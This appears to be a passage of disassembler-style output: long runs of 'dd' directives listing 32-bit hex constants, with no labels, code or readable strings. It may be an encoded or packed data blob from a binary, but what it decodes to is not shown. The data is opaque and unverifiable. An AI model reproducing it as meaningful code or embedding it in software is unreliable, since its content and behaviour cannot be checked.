2ACABE00h dd 92D52CA6h, 29900049h, 0BF3C8CB2h, 3A035B53h, 0ABEA1902h dd 33FBC847h, 5C830A58h, 2E032A5h, 5121C9AFh, 6B80987Ch dd 920291F8h, 75EE07FEh, 4FEF1688h, 7E463831h, 6CBE8E00h dd 7DB763EDh, 5CC84CC1h, 42793C09h, 0C6CE7C30h, 1D5C3408h dd 5EEB6475h, 50C6D6C0h, 5A58C12h, 3078227Fh, 9CD847CEh dd 0FC24A0CFh, 0C904F03Ch, 86D86C47h, 0C08880CAh, 57C2346Ah dd 984A3071h, 1828D849h, 83E1FE68h, 0F6D7DF1h, 70F7ED33h dd 0D0E4DDC1h, 82F04444h, 0AD30FB74h, 8381190h, 879788A5h dd 239045C7h, 4009EAA8h, 156F31F9h, 0C49890B0h, 4A01DD79h dd 0B15E1060h, 7D06D0B0h, 20840A19h, 0BD2087BCh, 0E7688D7h dd 48B2A28Dh, 0B01DF469h, 1D80C591h, 84E8962Bh, 0BCFC9E4Bh dd 0DFAA36C2h, 29A2C8A0h, 0E1DB293h, 0C897BD1h, 2D440418h dd 0CE923460h, 0EF1E9010h, 520022DCh, 57BF91FCh, 0F8C9E85h dd 3B542B5Ch, 987F74C9h, 7788ECh, 0E011AACEh, 0DA6BFC67h dd 5C3318CAh, 78FD6E00h, 9A8DA6h, 235335E6h, 6ACD1740h dd 5DAED203h, 0E38BA75h, 0B0A95860h, 4AB86EA0h, 3512C90h dd 4B9030A8h, 68F00641h, 187469F0h, 0FC74987Fh, 0E4DA97BAh dd 20713900h, 54E66EB5h, 5A260F80h, 823E64AFh, 318C2774h dd 30C35080h, 0A5074B33h, 0E57B1928h, 67271811h, 0E95F50DCh dd 0F8D046D5h, 8891008Bh, 15D13E76h, 491BCEFFh, 9049C831h dd 0EE325E6Eh, 0FE5A0093h, 423CE871h, 78248FD4h, 1091846Fh dd 1E4BEE00h, 3BE9496Eh, 3164AB03h, 0C3963FBFh, 98E9080Bh dd 8820FB48h, 21839080h, 0FC5C0905h, 0B40AA115h, 465EECB1h dd 90060002h, 86087466h, 0C00BAB7h, 68445F8Bh, 2CA5BA70h dd 1C6004C4h, 590CFFA0h, 0A0D1BE4Ch, 18E4A081h, 73D0835Ah dd 5D586319h, 6F0478B4h, 8DCB5B0Bh, 4C5138C7h, 0B73AC32Eh dd 0F4F10618h, 418C961h, 0F240820Ah, 50B881BBh, 1C870470h dd 7EC9500Fh, 0AD08D582h, 0BA0090E7h, 0D52D9036h, 0BF490040h dd 0D1942CB8h, 0CC4039F4h, 743B1A8Eh, 4675807Bh, 0D24F06ECh dd 0D1764C97h, 0A8BD3004h, 0F4CBAE82h, 2FC041C8h, 7BF6C3EAh dd 8C020032h, 0D6AC5AEEh, 29C00F51h, 0F0CF1DB1h, 0F4B00128h dd 36AB7527h, 8FDB40F2h, 88C40804h, 349981D0h, 4E2EE6ECh dd 0D368ADDBh, 0D5806709h, 0E43BDC81h, 0FCBC5075h, 2891B799h dd 7D18F7F1h, 0A194FB13h, 0BB030ABh, 900C325Ah, 6886343Bh dd 0AC57C3Ah, 1D608CB3h, 0FC1D4958h, 6E809611h, 32E43FE9h dd 0CC49BE77h, 60481CC4h, 0F9803CACh, 0F433BDD4h, 24AC9195h dd 0A87802C4h, 986BE881h, 0EE04BFC8h, 9F98210Eh, 514CA517h dd 90E09E80h, 0C0833143h, 20D02BC0h, 0F305CF40h, 0C1FFD795h dd 87068C0h, 404899FEh, 0CE383D0Ch, 5B3EA903h, 2358C4E6h dd 4301F9E8h, 55082E90h, 0B9807063h, 35A9903Bh, 5AC4361Bh dd 8CEBE4B1h, 0E4608158h, 0A972D19h, 0EACF030Ch, 6862C36Ch dd 3CFD01D0h, 9CBEA507h, 0CA318B90h, 0B0237E03h, 3D9B880Eh dd 348043A9h, 87C77EAh, 0E308BC99h, 98480305h, 1909674Ch dd 94064F7Eh, 0B5C6001Ch, 16E8C948h, 0FC24A65Eh, 465E28AEh dd 68410B05h, 30343184h, 0DB26B432h, 2CB50330h, 46A883E5h dd 68A41F0Ah, 0CC475207h, 1256A2D4h, 36B90359h, 0F2419203h dd 30A5FCD1h, 6F42C420h, 40010223h, 3D082B90h, 0B088C418h dd 2620C038h, 2837BEE6h, 0DBE07B79h, 5CC4AB0Dh, 99E8297Ch dd 0C66F3E16h, 0EDB84701h, 410126E5h, 2634329Ch, 0BB1C0C18h dd 79396Dh, 0E306FA63h, 98D1435Bh, 59BD8F00h, 72017EA2h dd 0A5843F11h, 4EFA6413h, 8FE40A98h, 0E80216A8h, 4E77A7C1h dd 3D56EC7Ch, 147C820Ch, 0F046FEB7h, 3CC21F39h, 0B064C810h dd 25C5B53h, 70A2CD01h, 0CC98D64Ch, 0F252A78Bh, 68480534h dd 5C89FD80h, 581C9820h, 3B84E4F7h, 0BF8E4EDh, 3A28048Ch dd 621F4A7Fh, 21E02EB8h, 4317643Ah, 0D60D680Fh, 58E645D3h dd 0CEBA0882h, 0F0305860h, 35A09380h, 3301CA15h, 0D557FB6Fh dd 85D83CC2h, 0CC9500AAh, 2A603BA9h, 7B3F1EC7h, 4579125Eh dd 8CFB48Ch, 255C33C6h, 1C40EFC4h, 0D414C6D7h, 0E0FC682Ah dd 80EDBA3Bh, 8C3A4792h, 43531F1h, 4CD3C78Ah, 52E0983Dh dd 0E832B905h, 0A461E0B8h, 0A0420D5Eh, 0E6C7AAAh, 0A792134Ah dd 0E182AE6h, 9473041Dh, 9531689h, 0E08A0868h, 3D0E50h dd 0DD342BF0h, 412AB0D1h, 98323F26h, 0A22EEA40h, 0A7480B1Bh dd 0C8180C29h, 4892CCBAh, 28461060h, 3AF3918h, 0EDD37E49h dd 6C85620h, 66F29BB4h, 815978FEh, 44049338h, 0C815F24Eh dd 8C58FD22h, 6C840039h, 676926B8h, 0C3A7E6Eh, 0DE984B90h dd 0C044BB80h, 0BD540944h, 0C00585Eh, 4AE0454Dh, 0E8FAC1FCh dd 93639B00h, 0D5A723D4h, 9A78334Eh, 2E00E40h, 2F006090h dd 409526A9h, 0E01E146Eh, 446B01D4h, 67610356h, 6DC230D0h dd 2007A1A3h, 2801F63Ah, 0A9617CD0h, 0D9110085h, 369CE494h dd 0D2167113h, 611DCE07h, 69C02837h, 6F3096Bh, 0FB630C7Ah dd 80EB084Ah, 6B51B621h, 0A4D840h, 618AD043h, 0E6DB5EA3h dd 7681E60h, 8FAEF0h, 2D662C91h, 0D178276Eh, 60A2E485h dd 997D5Ah, 1C985BCDh, 3796E4A1h, 0B6D6B8C0h, 1FF1157Ah dd 816FD0C9h, 1EE45E01h, 0B920802Ch, 0D3776718h, 6E171A0h dd 0B4A35D3Bh, 58ED41B2h, 2C00E894h, 0B04064E4h, 604A9C9Ah dd 0E6EE1883h, 3E030929h, 38580876h, 0A84185F8h, 70688D84h dd 0F6F02882h, 61001205h, 5208C72h, 82096587h, 6D8C0229h dd 90A0838Bh, 0FCF111C8h, 5A62A801h, 0DB659F90h, 31277898h dd 84A86C8Fh, 2B001181h, 57361319h, 3824D42h, 0F19DE652h dd 11A9F0A0h, 55788301h, 738FD8h, 54BFE039h, 4520A46Eh dd 91F16405h, 94001849h, 0D50311D2h, 7B0D03E8h, 66086586h dd 7C0CC878h, 0A86E9E18h dd 1991E428h, 383CD0AAh, 6D7DD817h, 5367C214h, 10948084h dd 3CDF1609h, 6864541Ah, 10D8104Ch, 0F306186Ah, 18481981h dd 0EC9FC800h, 0F22DF068h, 95ECF1C3h, 5277F65h, 386D07E9h dd 0B5AC219Bh, 82A91017h, 26AA1ECCh, 12FF09C1h, 5A8E0400h dd 84288D5Bh, 3154D868h, 65188CC4h, 67489878h, 0AB060FC7h dd 90D8929Ch, 11187B7Ch, 9F38A8F7h, 0A8D1D92Ah, 95C18789h dd 450AEBCh, 0EDB7D71h, 0C9F8FFD2h, 2807A415h, 0DA5764D3h dd 0ACBF7820h, 0C86C008Ch, 0D6F1135Ah, 4100A7A2h, 0AB8CF7CDh dd 0C0BC9CC1h, 0DBF132B1h, 4473A8BFh, 80E89A3Ch, 0B5992D5Ch dd 28013BB6h, 2498064Ch, 44E42442h, 6B5661D9h, 8C42F3C0h dd 1CBBA144h, 1C1C6B5Eh, 681D008Eh, 0F6EC868Ah, 78F12724h dd 5C7C0F40h, 8634940h, 0E14713h, 2BDFF0B8h, 0B766E82Ch dd 213C08h, 7DCCA926h, 6BCD54F8h, 9BEE2707h, 97F10DD8h dd 29816C41h, 21F41A74h, 0D0EAED42h, 0EE139220h, 1408F702h dd 6B6AC0CDh, 624CF2FCh, 52B7E048h, 572A036Bh, 0C8667318h dd 8371ABA1h, 91EF6E69h, 0B0D05020h, 0F87D41E8h, 545C85A6h dd 27C006C3h, 71307BB3h, 1AC520EEh, 0EC174F18h, 0EF6719h dd 9E69A8B1h, 5E9CA301h, 0A6BC3950h, 685B8417h, 0CC6DA204h dd 0A40FCCD4h, 349298Dh, 0A063B044h, 0C33B9D18h, 0CA3EEE99h dd 698E691Fh, 0A5A73340h, 6411F6B2h, 900E3827h, 0A0BE50B0h dd 0C6C73207h, 15163EE6h, 17070C38h, 0F1A1C1E4h, 9CAADD02h dd 8C050866h, 8B4E7080h, 0C2CE383Ch, 0F344E33Fh, 37659112h dd 0E45F5802h, 113662EAh, 0E08667A0h, 0D8653895h, 0AA8B0A06h dd 183033D8h, 2060EBBEh, 618096F4h, 600B6738h, 531E4829h dd 5245C9F0h, 0FF23AD9h, 0D17D1C03h, 33D09720h, 0B26A482h dd 260AE0D2h, 43444013h, 1B0EA4C2h, 0A32324AAh, 51DD3ECh dd 5099F130h, 3048A18h, 248586B5h, 0FA0008Eh, 844C53F6h dd 541EC5FBh, 2540668h, 28650F8Ch, 0B10CECF8h, 0A6D10027h dd 43E486A2h, 0EC668E78h, 210F08h, 11A6D94Eh, 90133CF4h dd 4D71610Bh, 3A203091h, 319499FCh, 909B6088h, 8E87F319h dd 0C8A6D04Ah, 2B626AE2h, 19540288h, 86DCFCC7h, 1022B446h dd 0A6CF4000h, 0AE371BBFh, 74C913F2h, 0BCC0423Eh, 0D4010E32h dd 308A290Bh, 80A01AE6h, 52B5691Eh, 0EAEADD61h, 5CE06876h dd 0F90070F8h, 45C0637Bh, 4024849Ah, 0F000F66Dh, 417826F4h dd 687E1883h, 0C10F09Fh, 3C10AB60h, 5C40D8AAh, 7D1FDE59h dd 0F0E484D8h, 0FB5E5424h, 2654FC19h, 64908D04h, 521C1E14h dd 67940737h, 0D08A8429h, 5DC86D84h, 0B8AC0828h, 0B9A9020h dd 0F57DE66Ah, 6B6C0C22h, 68449867h, 0C008E563h, 0A7BE7C0h dd 26D8790Dh, 0C85F159Ch, 0E4958702h, 0FC60F74Bh, 8D1608ACh dd 68219148h, 0B8A43206h, 80D4E1F8h, 7634DDC6h, 0E6C8484Ch dd 0B0675520h, 8D861840h, 619F6180h, 85040E06h, 20584A30h dd 0E617F403h, 9CC958B2h, 9364C301h, 46B7982h, 0F57B24C1h dd 0DAF2B08Bh, 1572B002h, 40DDAC48h, 7C785150h, 20866EDh dd 0F0C5CCDEh, 104131C7h, 14CCA631h, 0C89A22E4h, 208B5417h dd 0E797A3B8h, 6468AB52h, 0A4605760h, 0F023CFCCh, 4211B7h dd 0D0CCAC27h, 341138Eh, 1825EEBEh, 21126FA3h, 0A422FB3Ah dd 0E61C61B1h, 8707D472h, 0C5F2773Dh, 804CD528h, 94AA936Ch dd 0D6086E50h, 98D25C90h, 6A4C7405h, 0FC0294C9h, 4186CF6h dd 86E0A6D3h, 0D48ED4h, 0E9A6DB4Ch, 0B870C601h, 692161C8h dd 32F03AC8h, 95181D08h, 0C662142Ch, 916E06FFh, 0D171B57Dh dd 0A91086E7h, 312ADFh, 5438FE08h, 0B97FBA1h, 987423FCh dd 0EB211C60h, 0A18F38F6h, 3C612B94h, 0EA1A1140h, 0EDFB0E11h dd 814212EFh, 74C15D2Ch, 0BAA44841h, 0F3C0DC00h, 0D7C3A28Fh dd 1BCB802h, 56CFF961h, 249AC127h, 57B87BC0h, 0AB0218B8h dd 9D177C5Fh, 0A0204868h, 2FF918CCh, 94986851h, 0EB706082h dd 0E8A7B091h, 6CD04804h, 76A25D0Eh, 3A1CB454h, 861422EEh dd 0C1C4A495h, 75386584h, 3E630853h, 0AC148608h, 0F2160C93h dd 0C82000C1h, 0AF6B932h, 0E48DC492h, 0F58605E0h, 20A49065h dd 0D85C1A0Dh, 10DD1020h, 267DFC57h, 81400351h, 826C6730h dd 26462AEh, 23B1EE79h, 0A8888353h, 0A4C0DC8Ch, 0C92A1CDBh dd 8C305DC1h, 0D117CCE2h, 0C438A7F0h, 0CCAA0F25h, 0DFC04195h dd 0D912BC74h, 5433390Ch, 7BC919h, 92A166B8h, 1334E73Ch dd 0CC3A1C03h, 0C964549Bh, 120422BDh, 86F801F0h, 6467C393h dd 0DC3FFA94h, 571A0133h, 0D73D3AD2h, 413E1C30h, 4D2C6038h dd 18FB1B40h, 19042EB4h, 30922881h, 80EB340Fh, 2BED0664h dd 45F4DF0h, 61805028h, 1757800Dh, 2C8C60A2h, 0B84828F3h dd 5E078C34h, 16EEF10Dh, 84D57524h, 6534F404h, 0AD80612h dd 532AA02Dh, 0AD009005h, 0CC3632FEh, 25B58EC6h, 501D1E6Fh dd 1702C63Eh, 0E41B1E7h, 71ACF040h, 35E61784h, 90402205h dd 0ABE55080h, 901C239h, 7D68C1ACh, 9C5527B1h, 0E62AE002h dd 5F20481Fh, 66C30237h, 0C55B7581h, 9464C489h, 8E56840Eh dd 4358FA7Eh, 142DA3Ch, 0F814AABEh, 0D09CA7A3h, 59F465Eh dd 0A70BBA3Ch, 37E558C0h, 0DFE2184Bh, 6D599917h, 0E4197B00h dd 0FD368CEAh, 0FF9301BAh, 9B2FEEA6h, 557DD0BDh, 1FADA900h dd 0F92E18DEh, 445830C9h, 72D428A0h, 50658C16h, 0C8671C41h dd 4470D816h, 756F1BC6h, 92BF9074h, 0F450F4ADh, 162C8412h dd 0C36A9C0Fh, 0E9E6D054h, 2080F926h, 0AC42BC07h, 20A7705Ch dd 0C3191B08h, 68D82DEDh, 0FCF40311h, 0DC019898h, 82352022h dd 0B0993D4Dh, 30DBF929h, 0A40A2DCh, 9FC00E55h, 68A3EB54h dd 695CB606h, 0E442D314h, 698CC9Dh, 1C2CFC0Fh, 70135CA7h dd 0DCE22894h, 0A0DE7D0Fh, 44624A09h, 598AA843h, 516AD802h dd 1C44246Ch, 6E07A04Ch, 0EE237B3Ch, 96FB802Ch, 7CF70088h dd 0DFE494DBh, 1C050924h, 70F08C03h, 0E25FBBC7h, 52904A86h dd 917D0C88h, 0FD98418Dh, 0E6196A60h, 50BB0243h, 46658C6Dh dd 69A3126Fh, 0C0CF3408h, 0F30A6B68h, 0A0227246h, 6B50B507h dd 0A8E04693h, 38CC268h, 0C9F14852h, 60103890h, 28006E41h dd 0B84C4B95h, 0FF09A09Fh, 6548240Fh, 10C33B20h, 530D0FEAh dd 0FB181263h, 2BF6BCE0h, 24CAFC80h, 84C08BFh, 3A8245ECh dd 0C827D3F7h, 8A7197D8h, 0C3EC0C0h, 1464F0A4h, 40C01179h dd 79EDA1D7h, 7A9D0E64h, 0D240C36Ch, 0F718DA07h, 8718C548h dd 22826271h, 0C87860D8h, 361902B5h, 7D287917h, 8425B079h dd 0B0F43744h, 9E5D20C7h, 298B50A3h, 0D5D941D0h, 20B89F70h dd 84046A76h, 1CEF3857h, 14E674D1h, 0B700082Dh, 0A781A6AAh dd 0D904B0B5h, 7223EC47h, 0CA682882h, 79505198h, 0BA182Ah dd 21230CBh, 0E8E07236h, 0EF178409h, 0C04C4A76h, 30D4CB48h dd 889123E6h, 0FCF44ED8h, 7FEC0B00h, 94DE72A6h, 4200B427h dd 0E8908B6Dh, 0C4A86B40h, 940FF7A4h, 0E763E3DBh, 0EE53D6CAh dd 17A7B071h, 9820E106h, 334188B8h, 881439C0h, 78E1E12h dd 93700CDCh, 36D410C2h, 3000A534h, 0D8038DFCh, 0E1D60718h dd 5C79B022h, 528B34A1h, 0CCDF5030h, 0CFF0C416h, 24D438h dd 0C7A1CCA7h, 87E426D1h, 34793709h, 79CC43Bh, 96F97AFEh dd 0A5404F29h, 0A186901Bh, 69D42607h, 0E460705Fh, 404F881h dd 0DD927971h, 0FE18C817h dd 0B7D219C9h, 0C43900F0h, 1AD49249h, 584B1407h, 97F06118h dd 914057C5h, 35033DBCh, 909EEF43h, 0FFA022DBh, 81026766h dd 0E8D917C3h, 86524039h, 0C76E24B5h, 35F50828h, 75A96101h dd 5C60EBD6h, 6D38408Eh, 0ED25B002h, 0C41895F6h, 0D4F75D90h dd 2E4CD080h, 0E93FA6EFh, 7A096002h, 70DE2h, 584C92B0h dd 0DDAD40D8h, 3B196867h, 8AE874D0h, 7D4B00F0h, 2BE11312h dd 921F836Ah, 0EF1C4C81h, 0C5B803Ah, 0E0E27007h, 7277F8Fh dd 0E175C18Dh, 0BF61D047h, 6C60DE17h, 0B270F959h, 0E3BA50CCh dd 89441F0Ah, 0AFFA0661h, 8EA060C0h, 50267FD5h, 0F118D796h dd 0E21CA68h, 5703531Ch, 2792D867h, 0D780C36h, 0E3D1FA03h dd 0EF85F1B5h, 6FFCC3h, 0BE6D9918h, 1B9A91D8h, 0B2206314h dd 705D804Ch, 0C0033588h, 25D22749h, 0E3067DAFh, 0B38609C6h dd 51F06008h, 8725BA41h, 470F3400h, 0B1A27110h, 6048E0E4h dd 0C970E0D5h, 58013F06h, 375245A5h, 5EC4174Ah, 0BC911E54h dd 0DE22C097h, 193A47ECh, 0B0D87D1Ch, 38EADDh, 0D7C6A29h dd 0C0E54831h, 0C3AFC251h, 79065BD1h, 0C9637422h, 2180E708h dd 29C3A798h, 2B02CCDBh, 0FBF64F6Dh, 8192827Ch, 0CED4A032h dd 54DE9DE2h, 4890C474h, 7DE20C8Ah, 3C820C30h, 0E60045FBh dd 327C0934h, 0D4A0BCC7h, 1E00DD2Ch, 7B9D8164h, 0D0EBEF02h dd 95A2B018h, 1125BD30h, 8CBB7DA4h, 44212Bh, 643D25C5h dd 0CCA37F2Ch, 0EE4B7B00h, 0F24770CDh, 0B798A117h, 9084C7F0h dd 426D4510h, 182C250Ch, 0CCD650A6h, 0BB7AC0h, 17CD95A9h dd 0BEF71A7Eh, 1EE654ACh, 44B3B424h, 918A5BC0h, 839DF7Ch dd 4F1FBF5Fh, 0EC707A14h, 6F43EEh, 0D0F9E060h, 0AC9A7A4h dd 83DD545Dh, 51F281BCh, 80E906B4h, 6022AB52h, 8ECB32h dd 2CEADD15h, 0C039B152h, 0D55A5B0Ch, 2408A086h, 8320EC1Ah dd 0A11967E1h, 0ED61181Ch, 71819344h, 8CB90490h, 70C732E0h dd 602EABC8h, 3662381Fh, 0AD1E01EEh, 0AE1CED60h, 0F02C5707h dd 50814F2Ah, 2F80A49h, 0DC4085B7h, 0D19CB0BBh, 882C548Ch dd 0D98660DFh, 2417FB9Dh, 80EB4E3Eh, 0EC8D6580h, 7C89AE6h dd 0D1F40892h, 0CBE4550h, 8E9904BCh, 70BAEA01h, 0EE6C855h dd 39F878B1h, 0EA7A0094h, 0F4028A54h, 3700A721h, 481247EDh dd 0F98484FAh, 109014F2h, 9D05F06Eh, 6189705Ch, 2025D1E0h dd 0E0ACDBC8h, 0B9406880h, 3DE2500h, 9CE559AEh, 0B75E0A8Eh dd 8BC277Bh, 24028C29h, 80E5B303h, 0F74D5788h, 0D8C449EAh dd 8C30F050h, 0D0C3B004h, 0CC62815Bh, 0C3A89920h, 0A6F81F4Eh dd 0A91780ECh, 37D3286h, 0BC05F8D2h, 0B4409E81h, 34ADEAC6h dd 0F21F126Dh, 0A6980125h, 0A4C7FFDDh, 0DE0420h, 0C8FEBF3Eh dd 89379A5h, 5F001AFEh, 656A2C17h, 0C2961142h, 578107F8h dd 9802F0E2h, 7C48FF36h, 0B6007826h, 9E19E69Fh, 507AC98Ch dd 1570C8E1h, 0B04289D1h, 0FFB1E0Eh, 5084589Ah, 13064717h dd 0A80EE665h, 404ED2FBh, 0F4DE0E9h, 0C69A465h, 7BDD266Ch dd 4F14EDE9h, 26802256h, 1B0C50ADh, 24BB580Bh, 859C855Ah dd 40D44F66h, 693363B4h, 0C009F9FEh, 20CCEA79h, 255A5D2Ch dd 638188A3h, 94810B60h, 265702B8h, 0A63CD75Bh, 50E41334h dd 3223F43Ch, 0D2C3A201h, 0CE18B15Bh, 9A9788h, 77CAC4C3h dd 0B7BCEC54h, 0B5CF3103h, 9689592h, 0A7328480h, 8FCB4A8h dd 0D0819C82h, 85D18A5Dh, 51862883h, 74DA90C7h, 0F2D2D8CBh dd 9C11000Ah, 6B4C8D83h, 84318EF2h, 4C95B510h, 0EBB8B017h dd 85A51008h, 2102181h, 28FD4394h, 7E3D4201h, 24E4DF02h dd 5CB2900h, 0A2FCBBB1h, 3A0899DDh, 6089A380h, 25C496D1h dd 0B0E47903h, 0E01F9CB6h, 488B02B4h, 0E5229C9Dh, 79226201h dd 0B23721C9h, 0D5FDBC41h, 0BA06B300h, 0CC09FA2Ah, 3568ED00h dd 94529680h, 428E32E6h, 4C48E308h, 357130D7h, 0A532E800h dd 0EFCFB26Fh, 1359900Bh, 406FCF0h, 0F27368h, 0ABCC4382h dd 0F1DEEA56h, 41A33510h, 0FA1B790Ch, 16F759DFh, 0C7E3AAh dd 23C3A445h, 9001621h, 83D168CAh, 907FC28Ch, 235460Ch dd 5BBDC3A3h, 10C73199h, 3C39BA4h, 0C6949F86h, 1900D247h dd 0D0264CFDh, 1DF93E2Bh, 3415A1h, 8D0FA539h, 0B4908C90h dd 0E4C54610h, 4166712h, 41BEBB20h, 95BFED79h, 15175884h dd 0C0041216h, 0B0D0A2A5h, 80778F12h, 6B2419E1h, 1D08F8B8h dd 0C9E481A7h, 4E18339Dh, 6CAE1120h, 0D910A894h, 7CDE2C67h dd 7BF17740h, 568F0004h, 36A4F979h, 0BC008D93h, 5821002h dd 286DD938h, 46F822ECh, 352E02C0h, 1C42968Ah, 3536CD00h dd 55B0D332h, 0DED10353h, 851E2180h, 71F488DCh, 0D7617B13h dd 6FBE4804h, 5A2D8600h, 934034F9h, 37604074h, 202038B8h dd 849D48D6h, 79FEF210h, 0E671100Ah, 0F500BCAFh, 0EAC11126h dd 0A6EC403Fh, 7837B505h, 0B0816745h, 2C72F1EBh, 429F2716h dd 255D47E8h, 20B32CB1h, 0D755E37Ch, 7980323Ch, 0C49AF8A0h dd 0B0157688h, 0D02A4990h, 91187873h, 89293D8h, 0C0965F0Ch dd 0A3556004h, 0D2338402h, 60BBB484h, 237F3569h, 0C43A5A96h dd 353104CAh, 0C0D0D392h, 82DE7E5Ah, 1D7FF0A8h, 0D71C87F6h dd 0A2B0E4CBh, 60F259Ah, 767A1482h, 811AB8DAh, 8B710D51h dd 1440B1Dh, 398A4D34h, 11E74701h, 95100492h, 1069B7E9h dd 3E081D89h, 77E00C6h, 9A492A7h, 0FAB80288h, 0A1E6CC34h dd 24F6C180h, 1D0BBDBAh, 0A2CE8CDDh, 16F8974h, 7687705Dh dd 25D30224h, 1CCB7DA2h, 25BB4200h, 0A3E8058Fh, 5957C64h dd 0BAC9965Dh, 318400B7h, 7C2AA934h, 498A193Eh, 4CB16A98h dd 1814501h, 3802C6A5h, 92114851h, 0A525B880h, 44A5B37Dh dd 25C04701h, 0EEE04CF1h, 8F7226F7h, 0F3A63A38h, 0CC004B50h dd 0B8FBBDCDh, 79BC81C1h, 7024B002h, 24BA2C1Fh, 0F80D03B4h dd 3903ABF3h, 4279EC89h, 0D1282EC6h, 8E2E3CD0h, 5F6B44DCh dd 904B4A7Dh, 803C13DEh, 6EC24Bh, 0A22AD405h, 91487101h dd 11770A01h, 0CD0BC3D2h, 3181F861h, 815FFD1Bh, 5082CBCh dd 2A061FEDh, 484F00CCh, 0C5091CF3h, 0B420E13Ah, 5F57EF66h dd 2C91A892h, 4A18E4D1h, 0AED5CB05h, 8FC4B92Fh, 91817081h dd 119FD863h, 3F057B77h, 0D87CF63Eh, 0F92A88CBh, 0F7610088h dd 4F55D703h, 78C0DD31h, 4EB748D1h, 78A9C29Dh, 8C60CE94h dd 39CEF736h, 85A1602Eh, 71E5C2Dh, 7D5E4BC8h, 6F409092h dd 5272C9BEh, 1E22E0A4h, 65FEF723h, 5CB10F0h, 0B24522EDh dd 627EEC92h, 4F906824h, 0A392462h, 44080140h, 6783A58Dh dd 87EF2034h, 154A8820h, 2C397BC1h, 587AEDDCh, 76065085h dd 0A82BAE27h, 8447B528h, 847CBCA9h, 0E3E71250h, 6D640412h dd 5A87007Fh, 21C68A53h, 0B7005780h, 9662528Dh, 42854F81h dd 5C1F5D30h, 678D60C8h, 13EB1680h, 812C11AFh, 507FDFCCh dd 0D56253E0h, 79B58803h, 883960D1h, 76C039Ch, 0EEBD7F2Dh dd 0DF2254Fh, 0E458B0F0h, 4724C7B8h, 6F033480h, 621BC627h dd 0DE4F10D0h, 1729C48h, 0D0EE1126h, 2B82FE1Eh, 4036B2C4h dd 845FD6F4h, 87B9346h, 0AB7DA625h, 6FF3C2h, 0AC25C746h dd 4BEA7D0Ch, 5892D015h, 184D2094h, 88E3CE19h, 28026C6h dd 968C356Ch, 10E73132h, 0E03534CBh, 0C9D500F7h, 535F1B63h dd 0D2020E7Ch, 80E0E3CDh, 0F798A369h, 0D7FDD81Ch, 0F23530A5h dd 604E5199h, 8F509100h dd 2AFB42A2h, 0AF4300A9h, 20E06ECh, 900AADBEh, 0C4FF327Bh dd 7B58C82h, 67004076h, 88B94Fh, 0DAB686ABh, 3F3EB971h dd 54EC85C3h, 71C1AEC9h, 9067835Ah, 0A925B450h, 0F707CA0h dd 913C9614h, 0B8C07357h, 47EF0D96h, 122896AEh, 0CDD02036h dd 72EBC2Bh, 0CA080850h, 0C828D7h, 0C52063BFh, 369115C6h dd 9E4AE2F2h, 4C8BBC30h, 0B4EF7B2Dh, 93B758CCh, 36534C00h dd 7008920Ah, 61DB6027h, 0D18AA9F6h, 4771C8C2h, 7C780Fh dd 0EE9AC50h, 0D12F81CBh, 0E14A8A31h, 59806EDEh, 0CAE9C6ECh dd 0B4057E69h, 0DBFA2E57h, 45DFE840h, 227F97h, 0C312AE14h dd 3A0ABC43h, 30395F01h, 8F131549h, 819482CAh, 7C308036h dd 4BE9D7FAh, 9198042Bh, 26F4147Bh, 0EB8FF4C8h, 9079890Dh dd 419E4FD0h, 1A986018h, 38CACD40h, 41024B63h, 7D2D5078h dd 0D844A072h, 9D4218BDh, 805D6081h, 465EA894h, 0FAC500BFh dd 915F78EDh, 0F907D39h, 467BB77Dh, 80201189h, 0B4E66223h dd 0C005A677h, 0E8F1E5ECh, 0BDBB8880h, 0E48D0994h, 2C168138h dd 4612A44h, 90A9B631h, 0D70B6010h, 9E09F0B3h, 407C01D4h dd 25F53683h, 9790302Ch, 0C018FB88h, 0D93C1C91h, 0BFEE7F20h dd 16545C3Eh, 1CCFD41Ah, 24C0CB88h, 5390E2h, 0BB941F69h dd 715ABDCFh, 1E02249Ch, 0D8F7DFFBh, 7AD482FCh, 404F5BB8h dd 9848A478h, 0C3003253h, 0BBF07ABAh, 90665Bh, 42B0E067h dd 22EA7216h, 6B4480B0h, 881F79EFh, 0BE287194h, 0C898A0D2h dd 0B923E743h, 81356700h, 86938A96h, 2D8D944h, 91EF352Fh dd 2849C2C9h, 6451F2CEh, 7618D979h, 0E33271FDh, 0CCA0F4B2h dd 905E3354h, 16925700h, 12761805h, 0B7BB076Bh, 0EEA1781Bh dd 28E78E60h, 0D0A1A35Ch, 8C340CC8h, 0BCC3A404h, 0A538A15Bh dd 83C39C3Ah, 16142ACAh, 7571E1F0h, 4881C054h, 0C9042C62h dd 23687570h, 9F0C00B0h, 0E558CA5Ch, 671C0026h, 0E836649Dh dd 4100D6FCh, 409FA9F0h, 521418F7h, 2B0058A4h, 0D52AD119h dd 6224CCB7h, 81C2D493h, 29847A59h, 11F0DE3Eh, 0F0BC416Fh dd 6268C854h, 0CF1D8CD1h, 3B50804h, 55DCCCh, 88188C21h dd 0C9B9B117h, 15782E00h, 25CE3D74h, 20309A7Ch, 10C3E337h dd 0F95C07CDh, 7194C83Eh, 0BFE8B030h, 1F09038Ch, 0E9B1A78Eh dd 39186A88h, 2E85B705h, 8808D01Eh, 8FC1B150h, 96844169h dd 0D74F01BDh, 0CFDC519Fh, 8C84F412h, 8A04C3CEh, 910073D2h dd 2697E18Fh, 4005E0Ah, 0C11D30F8h, 44EB5B1Ch, 8968C1E8h dd 8E106475h, 6C7F230Fh, 9A4701F4h, 646C7D05h, 0A4E71000h dd 8E27EF06h, 0F3D20BEh, 4B0BF6B6h, 28118C4Ah, 0D4F14165h dd 0C8B4DE58h, 0E73DFA91h, 0CF33CB00h, 5E0E23A0h, 522D3704h dd 0C14707h, 7C0267E5h, 0C28B24C1h, 0E1027E22h, 0FC682B55h dd 3894B511h, 8ED0E2DBh, 74072B3h, 5DC536E6h, 0D937B24Dh dd 6E57FC48h, 0A992B9C0h, 0B0E238C2h, 0A2150364h, 0F61FF52Eh dd 0D0520B6h, 9C927953h, 469B203Ch, 0F1F70145h, 9C875A8Bh dd 0E7BC0438h, 49D1048Ch, 0C222ED47h, 8029C24Ch, 0B3EC384Ch dd 0ACD0517Ah, 450B806Ch, 0F08BB1DCh, 0B876A827h, 4C81BE12h dd 3E25F32h, 70F09478h, 7C9A6647h, 0AA61508Dh, 202A4CB6h dd 6F7ADA38h, 0B68A801h, 95D2803Fh, 20810C0h, 49A67C7h dd 18402FBCh, 0A68016BAh, 3E28078Dh, 41315177h, 60815C87h dd 2177BB4h, 80D2E2A3h, 987878F4h, 4BBC0B64h, 0EC82715Eh dd 